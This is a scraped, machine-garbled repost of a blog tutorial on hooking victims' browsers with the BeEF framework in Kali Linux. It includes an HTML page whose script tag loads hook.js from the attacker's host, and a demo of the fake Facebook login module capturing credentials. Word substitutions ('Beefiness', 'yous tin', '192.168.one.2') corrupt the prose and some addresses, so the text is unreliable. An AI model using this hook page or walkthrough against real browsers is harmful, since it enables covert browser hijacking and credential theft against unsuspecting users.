Kali Won't Let Me Go to Cd /usr/share/beef-xss/extensions/demos/html

Ethical Hacking Fridays: How to Hack (Part 11) Browser Exploitation Framework (BeEF) kali linux ivan ocampo

Ethical Hacking: How to Hack (Part 11) using Browser Exploitation Framework (BeEF)

Out of all the attacks I've covered in my manufactures so far, I call back this is ane of my worst. I don't similar it considering it is so difficult to prevent. The other attacks I've shown you lot have a light at the end of the tunnel in the sense if you know what the assault is yous tin put measures in place to prevent information technology. The merely way I know of to stop this attack is to make the browsing experience extremely limited and restricting for users and that isn't much fun.

Browser Exploitation Framework (BeEF)

BeEF comes bundled with Kali Linux. I'm going to assume you have admission to a Kali Linux instance and if non I recommend setting it up past following my other commodity, "Ethical Hacking (Part 2): Introducing Kali Linux". You can besides download it here on other Linux variants.

The location of BeEF in Kali Linux is, "/usr/share/beef-xss".

          root@kali:~#            cd /usr/share/beef-xss            
root@kali:/usr/share/beef-xss#

We will need to configure Beef before nosotros are able to use it. Delight open up, "/usr/share/beefiness-xss/config.yaml" which is a symbolic link back to "/etc/beef-xss/config.yaml".

          root@kali:/usr/share/beef-xss#            vi /etc/beef-xss/config.yaml                  

Please locate the "credentials" section of the configuration.

          credentials:
user: "beef"
passwd: "beef"

These are the credentials we will use to admission the framework GUI. Beefiness won't start unless you change these. I recommend changing both the username and password to something non-standard and potent.

Please locate the "http" department of the configuration.

          http:
debug: false #Thin::Logging.debug, very verbose. Prints besides full exception stack trace.
host: "0.0.0.0"
port: "3000"

You need to set the host IP of your Kali Linux server where the hacked browser will connect back to. In my case I'yard going to fix the host to, "192.168.one.2".

Now run BeEF…

root@kali:/usr/share/beef-xss#          ./beef          [22:07:06][*] Browser Exploitation Framework (BeEF) 0.5.0.0 [22:07:06] | Twit: @beefproject [22:07:06] | Site: https://beefproject.com [22:07:06] | Blog: http://blog.beefproject.com [22:07:06] |_ Wiki: https://github.com/beefproject/beef/wiki [22:07:06][*] Project Creator: Wade Alcorn (@WadeAlcorn) -- migration_context() -> 0.0032s [22:07:06][*] BeEF is loading. Await a few seconds... [22:07:09][*] viii extensions enabled: [22:07:09] | Proxy [22:07:09] | Demos [22:07:09] | XSSRays [22:07:09] | Events [22:07:09] | Admin UI [22:07:09] | Social Engineering [22:07:09] | Network [22:07:09] |_ Requester [22:07:09][*] 303 modules enabled. [22:07:09][*] 1 network interfaces were detected. [22:07:09][*] running on network interface: 192.168.1.2 [22:07:09] | Hook URL:          http://192.168.1.2:3000/hook.js          [22:07:09] |_ UI URL:          http://192.168.1.2:3000/ui/panel          [22:07:09][*] RESTful API cardinal: 43f6880f37e0c0b41b1e98935862bb2cf6a63266 [22:07:09][!] [GeoIP] Could not notice MaxMind GeoIP database: '/var/lib/GeoIP/GeoLite2-City.mmdb' [22:07:09] |_ Run geoipupdate to install [22:07:09][*] HTTP Proxy: http://127.0.0.one:6789 [22:07:09][*] Beefiness server started (press control+c to cease)

The two important bits of data are:

  • Hook URL: http://192.168.1.2:3000/hook.js
  • UI URL: http://192.168.1.2:3000/ui/panel

The, "Hook URL" is the Javascript yous demand to try and become your victim to run. You could await at something avant-garde like XSS just actually the scary thing is whatsoever page you browse could only include this in the script tags to allow full access to your machine!

The, "UI URL" is the GUI for Beefiness and where we'll be able to monitor and bear out the attack once an unsuspecting browser connects.

In lodge to demonstrate this I'm going to create a very basic HTML page called "beef.html" to load the Javascript. This could exist placed on a web server, put on a file server, emailed to someone etc. If someone opens this file they will be open for the assault. No warnings will be given, the browser won't mutter, and the virus scanner won't pick it up 🙁

          <html> <head>            <script src="http://192.168.ane.2:3000/hook.js" type='text/javascript'></script>            </head> <body> If you are reading this you are about to be attacked! </trunk> </html>        

I saved the "beef.html" on my desktop and double-clicked on it to open it.

As shortly as I opened it I tin encounter the Beef console reported the new connection.

          [22:xix:31][*] New Hooked Browser [id:3, ip:192.168.1.ane, browser:C-86.0.4240.80, bone:OSX-], hooked domain [Unknown:0]        

Let'south open up the "UI URL" and have a look.

Sign in with the credentials from, "config.yaml".

Firstly, just clicking on the host which connected shows a stack of information about the victim.

Please click on the, "Commands" tab.

In that location is a huge corporeality of options in each of those sections just I'thou just going to point out a few.

As you tin see, many options!

I'll demonstrate how a couple of them piece of work.

Browser, Hooked Domain, Create Warning Dialog

I will "Execute" and send the "Warning text" of "Beef Alarm Dialog" to my victim browser.

Social Engineering, Pretty Theft

I'g going to pop up a window that looks like Facebook login folio in my victim browser.

I'yard going to add some fake credentials and come across what happens.

Equally you can see "user@domain.com" and "secretpw" was recorded!

There are literally loads of nasty options at that place from fake session timeouts on many popular services, fake Wink update modals to upload exploits, accessing webcams, taking screenshots, playing sounds, creating users, and much more.

Protecting against Beef

In that location are a few browser extensions which aid prevent against Beefiness attacks. They aren't really that pleasant to use as it involves "whitelisting" safe Javascript to run on sites.

Chrome

  • No-Script Suite Low-cal
  • Vegan

Firefox

  • No-Script Suite Lite

Both of these aren't all that dandy and volition cause problems with normal browsing. If anyone knows any good ways to prevent against Beef attacks please leave a comment 🙂

deckerpatife.blogspot.com

Source: https://ivanocampo.com/2022/03/ethical-hacking-fridays-how-to-hack-part-11-browser-exploitation-framework-beef/

0 Response to "Kali Won't Let Me Go to Cd /usr/share/beef-xss/extensions/demos/html"

Post a Comment

Iklan Atas Artikel

Iklan Tengah Artikel 1

Iklan Tengah Artikel 2

Iklan Bawah Artikel